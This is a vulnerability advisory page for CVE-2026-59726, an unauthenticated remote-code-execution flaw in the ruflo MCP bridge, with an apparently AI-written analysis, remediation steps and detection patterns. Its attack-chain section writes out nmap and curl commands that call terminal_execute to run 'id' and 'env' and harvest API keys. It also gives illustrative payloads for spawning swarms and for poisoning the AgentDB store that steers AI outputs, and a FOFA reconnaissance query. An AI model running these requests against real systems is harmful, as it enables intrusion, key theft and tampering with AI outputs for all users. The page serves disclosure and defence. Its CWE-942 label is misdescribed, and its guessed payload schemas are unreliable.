CVE Professor
/
All CVEs
CVE-2026-59726

CVE-2026-59726 — Ruflo — CWE-78 · CWE-306

CRITICAL CVSS 10 ⚡ EPSS 6.2% GitHub

The MCP bridge shipping in ruflo/docker-compose.yml exposed POST /mcp with no authentication. The docker-compose defaults bound the bridge and MongoDB to all interfaces. Combined, an unauthenticated network attacker could invoke tools/call → terminal_execute inside the bridge container, obtain a shell as node (uid 1000), read every provider API key from the container env, spawn attacker-controlled swarms on the victim's keys, and persist a poisoned pattern into the AgentDB learning store that steers future AI outputs for all users of the instance. The tool blocklist that mentions terminal_execute was enforced only in the autopilot flow. POST /mcp and POST /mcp/:group bypassed it. Fixed in ADR-166 Phase 1-3 (branch security/adr-166-mcp-bridge-rce, PR #2521): - Bind loopback by default; fail-closed on public-bind opt-in without MCP_AUTH_TOKEN - Bearer auth middleware (timingSafeEqual constant-time compare) - Server-side executeTool gate for terminal_execute (MCP_ENABLE_TERMINAL=true opt-in) - MongoDB --auth on by default; MONGO_INITDB_ROOT_PASSWORD required to boot - read_only container + tmpfs - CORS allowlist wiring - CI regression locks (static + runtime + compose defaults) Operators of any exposed instance MUST: 1. Firewall :3001 and :27017 immediately 2. Rotate OPENAI / GOOGLE / OPENROUTER / ANTHROPIC keys 3. Audit the AgentDB pattern store for injected agentdb_pattern-store entries; purge poisoned patterns. A patched redeploy alone does NOT undo poisoning. 4. Audit M

The MCP bridge shipping in ruflo/docker-compose.yml exposed POST /mcp with no authentication. The docker-compose defaults bound the bridge and MongoDB to all interfaces. Combined, an unauthenticated network attacker could invoke tools/call → terminal_execute inside the bridge container, obtain a shell as node (uid 1000), read every provider API key from the container env, spawn attacker-controlled swarms on the victim's keys, and persist a poisoned pattern into the AgentDB learning store that steers future AI outputs for all users of the instance. The tool blocklist that mentions terminal_execute was enforced only in the autopilot flow. POST /mcp and POST /mcp/:group bypassed it. Fixed in ADR-166 Phase 1-3 (branch security/adr-166-mcp-bridge-rce, PR #2521): - Bind loopback by default; fail-closed on public-bind opt-in without MCP_AUTH_TOKEN - Bearer auth middleware (timingSafeEqual constant-time compare) - Server-side executeTool gate for terminal_execute (MCP_ENABLE_TERMINAL=true opt-in) - MongoDB --auth on by default; MONGO_INITDB_ROOT_PASSWORD required to boot - read_only container + tmpfs - CORS allowlist wiring - CI regression locks (static + runtime + compose defaults) Operators of any exposed instance MUST: 1. Firewall :3001 and :27017 immediately 2. Rotate OPENAI / GOOGLE / OPENROUTER / ANTHROPIC keys 3. Audit the AgentDB pattern store for injected agentdb_pattern-store entries; purge poisoned patterns. A patched redeploy alone does NOT undo poisoning. 4. Audit M

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
6.2%
30-day probability
In the 94. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑59726 is a remote code execution (RCE) flaw that exists in the MCP bridge component of the ruflo stack.
The bridge is exposed through a POST /mcp endpoint that accepts a JSON payload describing a tool to run inside the bridge container. The default docker‑compose.yml binds the bridge service (and the underlying MongoDB) to all network interfaces and, critically, the /mcp endpoint is unprotected – it has no authentication or authorization checks.

The flaw is a combination of:

CWEDescriptionHow it manifests in ruflo
CWE‑306 – Missing AuthenticationThe /mcp endpoint accepts requests without any form of identity verification.No bearer token or session cookie is required to hit the endpoint.
CWE‑78 – OS Command InjectionThe bridge forwards a tool name and an arbitrary command string to a shell inside the container.The terminal_execute tool is not gated by the server‑side blocklist in the exposed endpoint, so an attacker can inject any shell command.
CWE‑942 – Unrestricted File Upload / Remote Command ExecutionThe bridge accepts arbitrary commands and writes them to the container’s filesystem, effectively giving the attacker a shell.The terminal_execute tool can be invoked with any command, and the bridge runs it as the container’s node user (UID 1000).

Because the bridge runs as a privileged container, the attacker can:

1. Execute arbitrary shell commands (terminal_execute → id, env, etc.).
2. Read sensitive environment variables that contain provider API keys.
3. Spawn attacker‑controlled “swarms” by calling the same API that the bridge uses to launch AI agents, using the victim’s keys.
4. Persist malicious “poisoned” patterns into the AgentDB learning store, which will influence all future AI outputs for every user on the instance.

The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) reflects that an unauthenticated network attacker can fully compromise confidentiality, integrity, and availability.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow that an attacker could follow on a default ruflo deployment.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker looks for
1.1Port scanIdentify open ports 3001 (MCP bridge) and 27017 (MongoDB).
1.2Service fingerprintVerify that port 3001 is running the ruflo MCP bridge (e.g., via banner or /health endpoint).
1.3Docker‑compose inspectionIf the attacker can read the docker‑compose.yml (e.g., via a mis‑configured web server or a public repo), confirm that the bridge and MongoDB are bound to 0.0.0.0.
Illustrative example (nmap):
nmap -p 3001,27017 <target-ip>

2. Exploitation

StepActionPayload / Command
2.1Send an unauthenticated POST to /mcp``bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"terminal_execute\",\"command\":\"id\"}'\n`
2.2Verify shell executionThe response should contain the output of id, e.g., uid=1000(node) gid=1000(node) groups=1000(node).
2.3Enumerate environment variables`bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"terminal_execute\",\"command\":\"env\"}'\n`
2.4Extract provider API keysLook for variables such as OPENAI_API_KEY, GOOGLE_API_KEY, etc.
2.5Spawn attacker‑controlled swarmsUse the same API that the bridge uses to launch AI agents, passing the extracted keys. Example (illustrative): `bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"spawn_swarms\",\"params\":{\"api_key\":\"<OPENAI_API_KEY>\",\"count\":10}}'\n`
2.6Poison the AgentDB learning storeInject a malicious pattern that will bias future AI outputs. Example (illustrative): `bash\ncurl -X POST http://<target>:3001/mcp \\\n -H "Content-Type: application/json" \\\n -d '{\"tool\":\"add_pattern\",\"pattern\":{\"id\":\"poisoned\",\"content\":\"<malicious content>\"}}'\n``
Note: The exact JSON schema for spawn_swarms or add_pattern is not specified in the CVE description. The above payloads are illustrative of the type of request that would be used to exploit the exposed endpoint.

3. Post‑Exploitation

StepImpactHow it is achieved
3.1Full system compromiseThe attacker now has a shell as the container’s node user (UID 1000), which has read/write access to the container’s filesystem and network.
3.2Credential theftAPI keys are extracted from environment variables and can be reused to access external services (OpenAI, Google, Anthropic, etc.).
3.3PersistenceThe attacker can modify the bridge’s configuration or the AgentDB store to maintain a foothold.
3.4Data exfiltrationAny data accessible from the container (logs, configuration files, etc.) can be exfiltrated.
3.5Denial of ServiceBy flooding the bridge with malicious swarm requests, the attacker can exhaust resources, causing service degradation or outage.

🌍 Real World Impact

ImpactDescription
Confidentiality (C)Full disclosure of all provider API keys, internal configuration, and potentially user data stored in the AgentDB.
Integrity (I)Ability to inject malicious AI patterns that will influence all future outputs, effectively tampering with the system’s core functionality.
Availability (A)Resource exhaustion via swarm spawning or repeated RCE calls can degrade or crash the bridge service, and the exposed MongoDB can be tampered with or deleted.
Scope (S)The vulnerability affects the entire ruflo stack (MCP bridge, MongoDB, and the AI learning store).

In a production environment, an attacker could:

  • Hijack all AI agents running on the instance.
  • Steal and misuse API keys to incur costs on the victim’s cloud accounts.
  • Spread malicious code or data across all users’ AI outputs.
  • Cause prolonged downtime by exhausting compute resources.

  • 🛡️ Remediation & Mitigation

    Affected Versions

    The vulnerability exists in all ruflo releases that ship the default docker‑compose.yml with the MCP bridge bound to 0.0.0.0 and without authentication. The fix is merged in the security/adr‑166‑mcp‑bridge‑rce branch (PR #2521). Operators should upgrade to any release that contains this commit or apply the following manual changes.

    Patch Recommendation

    1. Upgrade to the latest ruflo release that includes the security branch security/adr‑166‑mcp‑bridge‑rce. 2. If an upgrade is not immediately possible, apply the following configuration changes:
    ChangeEffect
    Bind MCP bridge to 127.0.0.1 by defaultPrevents external access unless explicitly configured.
    Require MCP_AUTH_TOKEN for public bindEnforces bearer‑token authentication.
    Enable MCP_ENABLE_TERMINAL=false (default)Disables the terminal_execute tool unless explicitly opted‑in.
    Enable MongoDB authentication (--auth)Requires MONGO_INITDB_ROOT_PASSWORD at startup.
    Run bridge container as read‑only with tmpfsLimits filesystem modifications.
    Apply CORS allowlistRestricts cross‑origin requests.

    Workarounds (if patching is delayed)

    1. Firewall: Immediately block inbound traffic to ports 3001 (MCP bridge) and 27017 (MongoDB) from untrusted networks.
    2. Disable the /mcp endpoint: If the application allows disabling the endpoint, do so until a patch is applied.
    3. Set MCP_ENABLE_TERMINAL=false: Prevents the terminal_execute tool from being invoked.
    4. Set MCP_AUTH_TOKEN: Even if the endpoint is left exposed, require a bearer token for all requests.
    5. Enable MongoDB authentication: Set MONGO_INITDB_ROOT_PASSWORD and enforce --auth.

    Detection

    IndicatorLog PatternWhat to look for
    Unauthenticated /mcp POSTPOST /mcpAny POST to /mcp without an Authorization header.
    terminal_execute usagetool=terminal_executeRequests that include the terminal_execute tool.
    Unexpected commandscommand=Commands that are not part of the normal operational set (e.g., id, env, cat /proc/self/environ).
    Pattern injectionadd_patternCalls that add new patterns to the AgentDB.
    MongoDB access from unknown IPMongoDB connectionConnections to MongoDB from IPs not in the whitelist.

    Sample log snippet (illustrative):

    2026-11-24T12:34:56Z INFO  POST /mcp 200
    2026-11-24T12:34:56Z DEBUG  tool=terminal_execute command=id
    2026-11-24T12:34:56Z DEBUG  output=uid=1000(node) gid=1000(node) groups=1000(node)

    If such patterns appear, investigate immediately.

    Audit Checklist

    1. Firewall: Verify that ports 3001 and 27017 are blocked from external networks.
    2. Key Rotation: Rotate all provider API keys (OpenAI, Google, Anthropic, OpenRouter).
    3. AgentDB: Export the agentdb_pattern-store collection, search for suspicious or recently added patterns, and purge any that appear malicious.
    4. MCP Configuration: Ensure MCP_AUTH_TOKEN is set and MCP_ENABLE_TERMINAL is disabled.
    5. MongoDB: Confirm that authentication is enabled and that the root password is strong.
    6. Container Runtime: Verify that the bridge container runs as read‑only and uses tmpfs.


    ⚠️ Urgency

  • CVSS Score: 10/10 (Critical)
  • Exploit Complexity: Low (no authentication, no special privileges required)
  • Impact: Full compromise of confidentiality, integrity, and availability
  • CISA KEV Status: No (but the risk is high enough to treat it as a KEV)
Priority: Immediate. Operators must apply the patch or the recommended workarounds before the next scheduled maintenance window. Failure to do so exposes the entire ruflo instance to full system compromise and potential data loss or service disruption.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="MongoDB"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-306 CWE-942
Affected Products (1)
ruflo
References & Advisories (4)
Related CVEs
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack